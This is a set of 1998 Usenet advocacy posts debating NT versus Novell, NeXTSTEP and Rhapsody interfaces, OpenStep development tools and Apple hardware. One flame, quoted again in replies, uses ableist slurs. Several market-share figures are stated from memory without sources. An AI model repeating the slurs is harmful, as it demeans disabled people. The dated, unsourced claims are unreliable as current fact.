References: <rmcassid-1805981307530001@dante.eng.uci.edu> <6mh0iv$e25$1@nnrp1.dejanews.com> <6mkoqh$8lp$1@nnrp1.dejanews.com> <petrichEuyx44.Lx8@netcom.com> <rmcassid-2306980033330001@dialin9231.slip.uci.edu> <35b01a7f.29824100@news.supernews.com> <rmcassid-2306981751480001@dante.eng.uci.edu> <6mpkdi$6on$1@supernews.com> <atlauren-2306982016050001@jungleland.acs.uci.edu> <35bbb632.268506081@news.nai.net>
_3;X4o1Yg^$]=Oc\u
Thank you, kind sir, for the thoughtful and insightful analysis on the
issue at hand. As always, the courtesy and intelligent discourse on
usenet renews my faith in the human race.
In article <35bbb632.268506081@news.nai.net>, perfecto@ct2.nai.net (J
Perry Fecteau) wrote:
>On Tue, 23 Jun 1998 20:16:05 -0700, atlauren@uci.edu (Andrew Laurence) wrote:
>>Make no mistake - five years ago, MS was gunning to take down Novell as
>>the premier NOS for business. That has been accomplished.
>
>you're a fucking retard. novell still maintains major market share. and if
>you think the phone system is going to run on nt, then you're dumber than a
>mongoloid.
Fact: 80% percent of *new* PC-based server installations are running NT.
(Or thereabouts, I can't recall the exact number, or where I read it.)
Novell sells well to existing customers, but only existing customers, and
as upgrades to previous installations. Few exising Novell customers are
adding new Novell servers - they're adding NT servers, and integrating
them into their existing infrastructure. Let's remember that 80% of
Novell installation due basic, elementary stuff: File and print. That's
it. Let's further remember that Microsoft is the undisputed chamion of
the 80/20 rule. Let's further remember that a lot of new, compelling
development is in the NT area (Citrix, to name but one).
Make no mistake - Novell is looking a hell of a lot better than they were
a couple of years ago, and NDS has matured quite nicely. The fact
remains, however, that MS always conducts itself like a hungry startup -
they keep plugging and plugging (and introducing features and listening to
customer needs) until they offer the functionality you need. Then they
offer it at a fraction of their competitor's price.
The phone system may not run on NT today, indeed, probably won't within my
professional lifetime. MS will keep chasing that market, however, and
eventually find an 80/20 combination which is compelling to that market.
Whether the customers "should" go there, however, is a distinctly seperate
issue. And, as it happen, entirely irrelevant.
(Not that I'm an MS supporter by any means, by the way. Simply realistic.)
Best,
--
Andrew Laurence atlauren@uci.edu
Office of Academic Computing http://www.oac.uci.edu/~atlauren/
UC Irvine
"Perceive the need."
From: crichard@blue.weeg.uiowa.edu (Chris Richards)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 26 Jun 98 16:28:47 GMT
Organization: The University of Iowa
Message-ID: <crichard.898878527@blue.weeg.uiowa.edu>
References: <358537F3.66478A32@spamtoNull.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <crichard. <crichard.898832149@blue.weeg.uiowa.edu> <6n0d5f$9ho@newsb.netnews.att.com>
gupta@kcopsrm.tm.tta.moc-mirror after @ writes:
>Microsoft Bookshelf 95 has the following to contribute on
>the question of "what does it mean to say that something
>is 300% slower than something else ?" The dictionary says :
[proper usage snipped]
Thanks for the info Arun -- it appears that the substance abuse literature
is full of hype mongers, which I suppose shouldn't be all that surprising.
My apologies for thinking that my usage was much more widespread than it
is. Learn something new everyday.
Next you'll tell me that there is no God.
Chris R
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 27 Jun 1998 01:34:18 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6n1i6q$ekj$1@news.spacelab.net>
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <6mucfv$abh$1@news.spacelab.net> <6n13tj$efl$1@hole.sdsu.edu> <3594142B.EA1AB415@nstar.net>
0Michael Peck <mjpeck@nstar.net> wrote:
>tomlinson wrote:
>> Charles W. Swiger (chuck@codefab.com) wrote:
>>: Rhapsody's GUI is not similiar to NEXTSTEP's GUI.
>>
>> In that case I'd like to apologize, as publicly and fulsomely
>> as possible, for making that false assumption. I had assumed,
>> naturally I thought, that the Rhapsody DR1 which I was sent,
>> and used for a time, had changed little in interface from NeXT
>> aside from the Macintosh-style window frames and title bars.
>> It looks as though this assumption turned out to be wrong.
>
>It's not. Chuck, tell us what changed from NEXTSTEP to Rhapsody DR1.
>John's "pinstrip" menu bar, Apple's icons inserted, no dock, Apple's
>scrollbar graphics. Did I miss anything?
Um, yes.
Notice a difference between the menu bar and NEXTSTEP-style
upper-left-corner menus?
Notice a difference between the color picker systems, or font selection?
Notice a difference between the window frames (as ET [nice initials :-)]
mentioned)?
Notice a difference between the doc/app paradigms between the two?
(Hint: why doesn't NEXTSTEP need a format like AppleSingle/AppleDouble?)
You know, if I weren't under NDA, I might go into more specific details
about how a 68040 mono turbo 'station differs from a PPC or Intel box
running at 200+ MHz with fancy 21" color display at 16x12 32bpp, but I
don't think that all the details need to be discussed in order for my claim
that the two GUI's are different to be proven to be true.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: 26 Jun 1998 16:52:12 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6p7kds.jlt.sal@panix3.panix.com>
References: <6mkd25$8c44@odie.mcleod.net> <6mku6n$lk61@odie.mcleod.net> <Ev0J20.An9@micmac.com> <slrn6p04bn.ghk.sal@panix3.panix.com> <898643883.37248@kelp.mbay.net> <slrn6p11e7.pk0.sal@panix3.panix.com> <Ev3u6G.4qJ@AWT.NL>
On Thu, 25 Jun 1998 11:20:40 GMT, Gerben Wierda <G.C.Th.Wierda@AWT.nl> wrote:
>sal@panix3.panix.com (Salvatore Denaro) wrote:
>>I still think Steve would have raided the .edu world for the stuff he
>>missed in his trip to Parc. OOP, networking and "modern OS" features
>>would have been added to the Mac, rather than having them form the
>>basis of NeXTStep.
>Actually, in the Triumph of the Nerds program Steve says that OO and
>networking were also to be seen at PARC. But they were so impressed by the
>GUI that they lost sight of those other two revolutions. With NeXT, Steve
>tried to redo the revolution, but now with all three OO, networking (remember
>'interpersonal computing'?) and a GUI.
I do remember that show now that you've mentioned it.
--
sal@panix.com
Salvatore Denaro
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: iMac iMac iMac (Was Re: Games and the consumer market.)
Date: 26 Jun 1998 16:49:19 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6p7k8f.jlt.sal@panix3.panix.com>
References: <joe.ragosta-2406981146120001@wil52.dol.net> <3591228B.B6274844@nstar.net> <joe.ragosta-2406981300020001@wil62.dol.net> <35916FBB.79749CAE@chem.uit.no> <slrn6p4t35.f3t.sal@panix3.panix.com> <3592A257.9A4501EC@chem.uit.no> <slrn6p5kpa.gdt.sal@panix3.panix.com> <3592D709.DB3A7046@nstar.net>
On Thu, 25 Jun 1998 18:02:33 -0500, Michael Peck <mjpeck@nstar.net> wrote:
>> Not if you wanted to keep the AIO design. How do you use a PCI card for
>> video in a machine with a monitor built in?
>You don't. You provide a slot for expansion that can be hooked up to
>another monitor, or a TV.
They do have a DAV port, not as nice as a PCI slot but it might be used
for something at some point. I don't think they could have kept the iMac
design and gave it a PCI slot at the same time. Heck the $6000+ 20th
anniversary didn't even have a PCI slot.
>History, history: the SE series had a Nubus
>expansion slot that allowed Radius full-page displays to be used. This
>was one of the configurations that made desktop publishing so popular on
>the Macintosh.
I don't think it was NuBus, in fact I am pretty sure it wasn't. And I don't
think that Apple is going to sell many iMac to the DTP crowd. Do they even
use monitors less than 17" in size anymore? And they tend to have racks of
disks, many scanners and tons of other gadgets on thier machines. The iMac
is not for DTP or video or any other professional content creation work.
--
sal@panix.com
Salvatore Denaro
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 26 Jun 1998 20:50:22 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6n11ie$du4$1@ns3.vrx.net>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net>
<6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net>
<6n141n$tvf$1@flotsam.uits.indiana.edu>
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Cc: glhansen@copper.ucs.indiana.edu
In <6n141n$tvf$1@flotsam.uits.indiana.edu> Gregory Loren Hansen claimed:
> It seems that my machine will never be able to run it.
I feel for you. I'm not at all happy with Apple's stance on the issue of
supporting Intel based machines. However I suggest downloading the
Discovering... book anyway, maybe that will give you a taste of what I've
been using for the last six months.
Let me put it this way...
a) if not for OpenStep, I would not be a programmer
b) if not for OpenStep, our product will not exist
I'm sure this sounds like normal bogus gushing. What can I say? All I can
do is ask you to look over to docs - the possibility exists that you'll agree
with me. I literally fear sounding too positive about it, because this has
(recently) resulted in a "it can't possibly be that good, Maury's full of it"
backlash.
> How are things in the way of visual development?
Moderate at best. The potential is there for a LOT more, but the visual
side, as Interface Builder, is somewhat weak. It's not bad, when you use it
you say "hey, this is cool", but it's terribly mared by many interface bugs
and missing features. Apparently it doesn't come unto it's own until you use
it with WebObjects and EnterpriseObjects (never having had a chance to use
them in a production setting, I won't pass judgment one way or the other)
where the "actions" become high level.
For what I do it's _almost_ and afterthought, I write my code, go into IB,
link it up, and I'm done. Even then there's something cool about IB, whereas
PP links interface objects to int codes (or four letter ints), in IB it saves
out (freezes) the objects links. What this means is that under IB you can
link the output of interface objects directly into your code. Again, I don't
have the words to describe it, but the first time you use it you get the€"
jeezus, why hasn't anyone else done this?" kinda feeling.
Actually other have done it, and your example of Delphi is a good one.
Delphi's main problem is that it's two-tier though, where as IB is
multi-tier.
> better, Delphi, where you can drag peices of user interface where you want
> them, and maybe get empty code written for you automatically
:-) All the OpenStep people reading that last part are saying "why the
heck should it write code?". I used to think this way too, I used AppMaker
which did the same thing with PP (and hat's off to Spec for a superb effort).
However look at it this way - why bother writing code when you can simply
freeze-dry the method call into a file? Think about it, it's COOL.
> If that is combined with OpenStep, what more could you want in the way of
> advanced programming concepts that make the programmer's job easy?
Jobs said something prophetic once that no one seems to comment on - he
said that current tools tend to wrap low level functionality in a graphic,
and that simply doesn't help. I tried ProGraph, I really did, but I simply
don't see the advantage of having an IF statement represted as an icon rather
than text.
There's a SINGLE product that got the _idea_ right (but the implementation
wrong), and that's AppWare. I dream of an AppWare + OpenStep world.
Maury
From: perfecto@ct2.nai.net (J Perry Fecteau)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: ISP's run NT? Hogwash!
Date: Fri, 26 Jun 1998 14:55:36 GMT
Organization: Milhouse America
Message-ID: <35bbb632.268506081@news.nai.net>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <6mh0iv$e25$1@nnrp1.dejanews.com> <6mkoqh$8lp$1@nnrp1.dejanews.com> <petrichEuyx44.Lx8@netcom.com> <rmcassid-2306980033330001@dialin9231.slip.uci.edu> <35b01a7f.29824100@news.supernews.com> <rmcassid-2306981751480001@dante.eng.uci.edu> <6mpkdi$6on$1@supernews.com> <atlauren-2306982016050001@jungleland.acs.uci.edu>
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On Tue, 23 Jun 1998 20:16:05 -0700, atlauren@uci.edu (Andrew Laurence) wrote:
>Make no mistake - five years ago, MS was gunning to take down Novell as
>the premier NOS for business. That has been accomplished.
you're a fucking retard. novell still maintains major market share. and if
you think the phone system is going to run on nt, then you're dumber than a
mongoloid.
--
Dead Republican
Check out Dead Republican's anti MicroSoft song <alt.netted.out> at:
http://w3.nai.net/~perfecto/deadrep.html
(I think I fixed the RealAudio problem)
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 26 Jun 1998 10:28:05 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6mvt3l$hnm$1@ns3.vrx.net>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu>
<6moqam$4os$1@nnrp1.dejanews.com> <6mp7vo$nk@ragnarok.en.uunet.de>
<35911d96.0@206.25.228.5> <6mt5uv$ed3$1@leonie.object-factory.com>
<slrn6p547b.dgo.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6mub28$pr9@nntp02.primenet.com>
<tim-2406981702230001@207.8.127.165>
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Cc: tim@jump.net
In <tim-2406981702230001@207.8.127.165> Tim Olson claimed:
> > Carbage collection is a heavy task ... I remember people doing SmallTalk
> > on PCs having to stop and wait for the garbage collection to finish.
That
> > isn't something the average user was going to put up with.
>
> Garbage collection can actually be faster than equivalent code that
> explicitly allocates and frees memory a lot, and most Smalltalk systems
> have modern generational garbage collectors that greatly reduce overhead.
There's a lingering distaste for garbage collection that dates back to "the
early days" when it indeed resulted in visual delays. This is simply no
longer true, the machines are many orders of magnitude faster and can process
this task at far below the human noticiable level. In addition the systems
have gotten a lot better, working in well defined "free time" periods where
the CPU is doing nothing anyway. Judging the value of the system on vague
past "everyone knows" arguments is invalid today.
Maury
From: Jeff Read <bitwize@geocities.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: ISP's run NT? Hogwash!
Date: Fri, 26 Jun 1998 10:48:51 +0000
Organization: Not really
Message-ID: <35937C93.33E49B0D@geocities.com>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <6mh0iv$e25$1@nnrp1.dejanews.com> <6mkoqh$8lp$1@nnrp1.dejanews.com> <petrichEuyx44.Lx8@netcom.com> <rmcassid-2306980033330001@dialin9231.slip.uci.edu> <35b01a7f.29824100@news.supernews.com> <rmcassid-2306981751480001@dante.eng.uci.edu> <6mpkdi$6on$1@supernews.com> <rmcassid-2406980928560001@dante.eng.uci.edu> <35910F01.74B80E9E@geocities.com> <rmcassid-2406981321500001@dante.eng.uci.edu> <35a71ce9.27658785@news.supernews.com>
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T. Max Devlin wrote:
> Clients and servers are matched sets; neither "dictates" the other's
> abilities.
Haven't you figured it out yet? :) M$ is a dictatorship. :)
> FrontPage is one of those things that would be a great idea if it wasn't
> such a piece of shit.
How true, oh how true. I was doing a CGI application for a company whose
ISP offered regular accounts and GruntPage accounts. The GruntPage
accounts didn't support CGI, at all, and I was gonna be darned if I had
to use ActiveServer or Visual C++ or whatever with ActiveX to write an
app that I could, and did, code in Perl in a matter of days.
As for the authoring tool itself... it produces bloated HTML code and
expects you to be using Internet Explorer. That's bad enough for
anybody.
--
----------------------------------------------------------------------
Jeff Read <bitwize@geocities.com>/ http://genpc.home.ml.org
Unix / Linux / Windows Hacker, / Boycott Microsoft!
Anime & Sonic Fan, / Use Linux/GNU!
All Around Nice Guy / Let's keep the Net and the Land FREE!
----------------------------------------------------------------------
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 26 Jun 1998 10:37:32 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6mvtlc$hnm$4@ns3.vrx.net>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu>
<6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com>
<6n08oi$rrs$1@nnrp1.dejanews.com> <6n0ame$i33$1@supernews.com>
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Cc: jcr.remove@this.phrase.idiom.com
In <6n0ame$i33$1@supernews.com> John C. Randolph claimed:
> A good C programmer can learn Objective-C in about three days. Five days
if
> you want to go all the way and become an Obj-C Language Lawyer.
Before this job I had never written a line of C, nor had I programmed in a
"traditional" language in about 5 years (did some HC, and some SQL). I
picked up the entire system including the language and libraries in 5 days.
That is, five days after first sitting down I was completing _real_
applications. I pretty much refuse to believe any other system out there can
offer this low level of first step into the system.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 26 Jun 1998 10:32:51 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6mvtcj$hnm$2@ns3.vrx.net>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu>
<6mo6mo$4nm$1@camel15.mindspring.com> <6mnq09$3vn$1@ns3.vrx.net>
<6muv02$49a$1@nnrp1.dejanews.com>
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Cc: syann@en.com
In <6muv02$49a$1@nnrp1.dejanews.com> syann@en.com claimed:
> we havn't seen a gui innovation for 10 years from apple.
I don't believe that's true in the least. I think the issue is that they
made a HUGE step at the beginning and now everything looks small. At the
same time no one argues that Win3.1 to 95 was a huge step forward, yet if you
look at that from the Mac side it's a decade late. Time and place. Now we
have '98 and in general people are writing it off.
I think the next change that people will actually notice will be voice
command and dictation that actually works. Apple should have been the first
here, but they won't be. I also firmly believe that we're lost our way
towards agents, which I think are very important.
> was done first! What are they doing now? Anyone name me one GUI inovation
put
> to code by apple in the last decade!?!?!
If you don't know, I must assume you are not terribly familiar with the
system. You want one? Ok, color icons. Forgot about that one?
Hierarchical menus? Disclosure concepts. Layer hiding? There's lots, but
as I said, you just don't notice them.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 26 Jun 1998 10:35:08 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6mvtgs$hnm$3@ns3.vrx.net>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu>
<6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com>
<6n08oi$rrs$1@nnrp1.dejanews.com>
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Cc: boracay@hotmail.com
In <6n08oi$rrs$1@nnrp1.dejanews.com> boracay@hotmail.com claimed:
> > I did some programming with OPENSTEP a couple of years ago, it really
> > does make many tasks in application development much easier.
>
> I took a look at this and you know they have the basic concept right, but
then
> they aren't going about it quite right. For example read this from the
> introductory docs on the page above:
>
> "Some developers have the notion that Objective-C is difficult. They are
> mistaken. You shouldn’t dread the thought of learning Objective-C. It is a
> simple and elegant language. A typical developer, especially one
experienced
> in C++, should need no more than a day or two to learn Objective-C."
You are clearly confusing OpenStep with Obj-C. Obj-C is NOT the key to
OpenStep, as the current move to Java clearly demonstrates. The key to
OpenStep is a rich, useful, powerful, deep, fast, forward thinking, well
designed class library that the OS itself runs. OpenStep programming is NOT
like MFC or PP, it's simply different. It's also better.
> It sounds to me like yet another assistant to traditional programming.
C'mon
> Apple, you can do it, you can do better than traditional... I know you have
> it, I am routing for you to save us all from lives of back breaking
They did do it, HyperCard. It was generally laughed about by "real"
programmers.
Maury
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 27 Jun 1998 01:46:56 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6n1iug$el6$1@news.spacelab.net>
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <6mucfv$abh$1@news.spacelab.net> <6n13tj$efl$1@hole.sdsu.edu>
etomlins@rohan.sdsu.edu (tomlinson) wrote:
>Charles W. Swiger (chuck@codefab.com) wrote:
>: Rhapsody's GUI is not similiar to NEXTSTEP's GUI.
>
>In that case I'd like to apologize, as publicly and fulsomely
>as possible, for making that false assumption.
Well, you don't need to go that far. :-) Obviously, there are aspects of
Rhapsody which are clearly derived from NEXTSTEP, but I'd say the majority
are derived from MacOS or are a novel invention combining functionality from
many previous sources (not just NS or MacOS, but maybe pieces from Win 95,
CDE, or what have you). YMMV.
> I had assumed, naturally I thought, that the Rhapsody DR1 which I was sent,
>and used for a time, had changed little in interface from NeXT
>aside from the Macintosh-style window frames and title bars.
>It looks as though this assumption turned out to be wrong.
I would say so. Others may differ, but that's Usenet for you.
>Nevertheless I don't think my comments were entirely invalid
>since the topic of this thread is the _MacOS X_ GUI, not the
>NeXT GUI, and I think I may safely assume that Apple, _if_
>they decide to alter the MacOS X interface, will attempt to
>produce something resembling Rhapsody: an attempted fusion
>of elements from Macintosh and NeXT. I have a feeling, though,
>that Apple will preserve the "Platinum" look of MacOS 8 (which
>I hate, but such is life.)
Your comments are not invalid at all, except for the assumption that what you
see in RDR{1,2} is the same as what NEXTSTEP looks like. It's why I asked
for specifics, and why some of the issues you mention apply to both, while
other criticisms are Rhapsody-specific and don't apply to NS at all.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Date: Fri, 26 Jun 1998 20:49:20 -0500
Message-ID: <35955021.48983447@hydra>
From: brother@trinity.mensa.net (Identity Withheld)
Subject: Re: ISP's run NT? Hogwash!
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <6mh0iv$e25$1@nnrp1.dejanews.com> <6mkoqh$8lp$1@nnrp1.dejanews.com> <petrichEuyx44.Lx8@netcom.com> <rmcassid-2306980033330001@dialin9231.slip.uci.edu> <35b01a7f.29824100@news.supernews.com> <rmcassid-2306981751480001@dante.eng.uci.edu> <6mpkdi$6on$1@supernews.com> <atlauren-2306982016050001@jungleland.acs.uci.edu> <35bbb632.268506081@news.nai.net>
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On Fri, 26 Jun 1998 09:55:36 -0500, perfecto@ct2.nai.net (J Perry
Fecteau) wrote:
>On Tue, 23 Jun 1998 20:16:05 -0700, atlauren@uci.edu (Andrew Laurence) wrote:
>
>>Make no mistake - five years ago, MS was gunning to take down Novell as
>>the premier NOS for business. That has been accomplished.
>
>you're a fucking retard. novell still maintains major market share. and if
>you think the phone system is going to run on nt, then you're dumber than a
>mongoloid.
NASA runs on NT (and a host of other hosts)
AT&T runs on NT and is currently testing NT to run their system
Novell's marketshare has shrunk considerably over the past three years
and is continuing to shrink.
And stop your fucking cussing. It makes you look like a fucking
retard.
From: "Ziya Oz" <ziyaoz@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Confused about Apple
Date: Fri, 26 Jun 1998 22:03:24 -0400
Organization: BM
Message-ID: <6n1jkk$iap$3@ash.prod.itd.earthlink.net>
References: <macghod-2606981505530001@sdn-ar-001casbarp301.dialsprint.net>
<rmcassid-2606981604470001@dante.eng.uci.edu>
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rmcassid@uci.edu (Robert Cassidy) wrote:
>So they will sell MacOS now and develop the enterprise stuff in the mean
>time, but not make a big deal about it......
You say that based on what?
> ........ the enterprise
>components will be much better, and the focus will start to shift.
Enterprise software (or even hardware), which by its very nature connects to
other software/platforms/systems, is not something you develop in obscurity and
isolation. In today's world, if you're not jumping up and down IT folk won't
even hear you over NT or know you're there.
Ziya Oz
From: glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 27 Jun 1998 03:41:12 GMT
Organization: Indiana University, Bloomington
Message-ID: <6n1pko$v47$1@flotsam.uits.indiana.edu>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net>
In article <6n11ie$du4$1@ns3.vrx.net>,
Maury Markowitz <maury@remove_this.istar.ca> wrote:
>In <6n141n$tvf$1@flotsam.uits.indiana.edu> Gregory Loren Hansen claimed:
>> It seems that my machine will never be able to run it.
>
> I feel for you. I'm not at all happy with Apple's stance on the issue of
>supporting Intel based machines. However I suggest downloading the
>Discovering... book anyway, maybe that will give you a taste of what I've
>been using for the last six months.
Intel machines? Maury, my man, I'm in an even worse position! I'm
running a NuBus Mac. Never had OpenStep, never will.
>> How are things in the way of visual development?
>
> Moderate at best. The potential is there for a LOT more, but the visual
>side, as Interface Builder, is somewhat weak. It's not bad, when you use it
>you say "hey, this is cool", but it's terribly mared by many interface bugs
>and missing features. Apparently it doesn't come unto it's own until you use
>it with WebObjects and EnterpriseObjects (never having had a chance to use
>them in a production setting, I won't pass judgment one way or the other)
>where the "actions" become high level.
>
> For what I do it's _almost_ and afterthought, I write my code, go into IB,
>link it up, and I'm done. Even then there's something cool about IB, whereas
>PP links interface objects to int codes (or four letter ints), in IB it saves
>out (freezes) the objects links. What this means is that under IB you can
>link the output of interface objects directly into your code. Again, I don't
>have the words to describe it, but the first time you use it you get the€"
>jeezus, why hasn't anyone else done this?" kinda feeling.
>
> Actually other have done it, and your example of Delphi is a good one.
>Delphi's main problem is that it's two-tier though, where as IB is
>multi-tier.
>
>> better, Delphi, where you can drag peices of user interface where you want
>> them, and maybe get empty code written for you automatically
>
> :-) All the OpenStep people reading that last part are saying "why the
>heck should it write code?". I used to think this way too, I used AppMaker
>which did the same thing with PP (and hat's off to Spec for a superb effort).
> However look at it this way - why bother writing code when you can simply
>freeze-dry the method call into a file? Think about it, it's COOL.
>
>> If that is combined with OpenStep, what more could you want in the way of
>> advanced programming concepts that make the programmer's job easy?
>
> Jobs said something prophetic once that no one seems to comment on - he
>said that current tools tend to wrap low level functionality in a graphic,
>and that simply doesn't help. I tried ProGraph, I really did, but I simply
>don't see the advantage of having an IF statement represted as an icon rather
>than text.
I surely don't see the use in representing an IF statement with an icon!
But my brother was showing my Delphi one day. And I really do like the
idea of making a window, dragging a button onto it, then clicking on the
button which pops up a text window full of
create-button-in-a-window-and-wait-until-someone-hits-it code,
so you can fill in the empty function that is executed when the
user presses the button.
--
"Don't just do something, stand there!" - Buddha
From: dfs@doe.carleton.ca (David F. Skoll)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: ISP's run NT? Hogwash!
Followup-To: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Date: 27 Jun 1998 03:35:42 GMT
Organization: Carleton University, Ottawa, Canada
Message-ID: <6n1pae$apc$2@bertrand.ccs.carleton.ca>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <6mh0iv$e25$1@nnrp1.dejanews.com> <6mkoqh$8lp$1@nnrp1.dejanews.com> <petrichEuyx44.Lx8@netcom.com> <rmcassid-2306980033330001@dialin9231.slip.uci.edu> <35b01a7f.29824100@news.supernews.com> <rmcassid-2306981751480001@dante.eng.uci.edu> <6mpkdi$6on$1@supernews.com> <atlauren-2306982016050001@jungleland.acs.uci.edu> <35bbb632.268506081@news.nai.net> <atlauren-2606981828160001@jungleland.acs.uci.edu>
In article <atlauren-2606981828160001@jungleland.acs.uci.edu>, Andrew
Laurence (atlauren@uci.edu) wrote:
> Fact: 80% percent of *new* PC-based server installations are running NT.
> (Or thereabouts, I can't recall the exact number, or where I read it.)
Maybe. Another fact: Linux is the only OS besides NT gaining market
share (see the Datapro report off of www.redhat.com)
> The phone system may not run on NT today, indeed, probably won't within my
> professional lifetime. MS will keep chasing that market, however, and
> eventually find an 80/20 combination which is compelling to that market.
I don't think so. NT (or any proprietary third-party OS, for that
matter) offers no advantage to the phone companies. They've invested
a heck of a lot of time and money in building phone switch software
with amazing robustness and reliability. They're not going to give up
control of their products and go with a third-party OS of dubious
reliability and performance.
Microsoft is aggressively going after the embedded market. They will
fail. It's too different from their main business focus, and they're
years behind industry leaders on embedded OS technology. Just compare
Windows CE or NT to QNX -- what a laugh.
Another thing: There will be an inevitable technological shift of
the kind which moved IBM from being the only player to being a big
player. Customer revolt, too, will play a part.
--
David F. Skoll
From: atlauren@uci.edu (Andrew Laurence)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: ISP's run NT? Hogwash!
Date: Fri, 26 Jun 1998 20:52:29 -0700
Organization: UC Irvine
Message-ID: <atlauren-2606982052290001@192.168.1.1>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <6mh0iv$e25$1@nnrp1.dejanews.com> <6mkoqh$8lp$1@nnrp1.dejanews.com> <petrichEuyx44.Lx8@netcom.com> <rmcassid-2306980033330001@dialin9231.slip.uci.edu> <35b01a7f.29824100@news.supernews.com> <rmcassid-2306981751480001@dante.eng.uci.edu> <6mpkdi$6on$1@supernews.com> <atlauren-2306982016050001@jungleland.acs.uci.edu> <35bbb632.268506081@news.nai.net> <atlauren-2606981828160001@jungleland.acs.uci.edu>
_3;X4o1Yg^$]=Oc\u
>. and if
>>you think the phone system is going to run on nt, then you're dumber than
>>a mongoloid.
>
<snip>
>The phone system may not run on NT today, indeed, probably won't within my
>professional lifetime. MS will keep chasing that market, however, and
>eventually find an 80/20 combination which is compelling to that market.
I just learned that this has already begun to happen. Apparently a little
company named Ericsson is only developing their systems for NT now. Why?
With the advent of MS' VisualStudio, developing for NLMs was just too
bloody hard.
--
Andrew Laurence atlauren@uci.edu
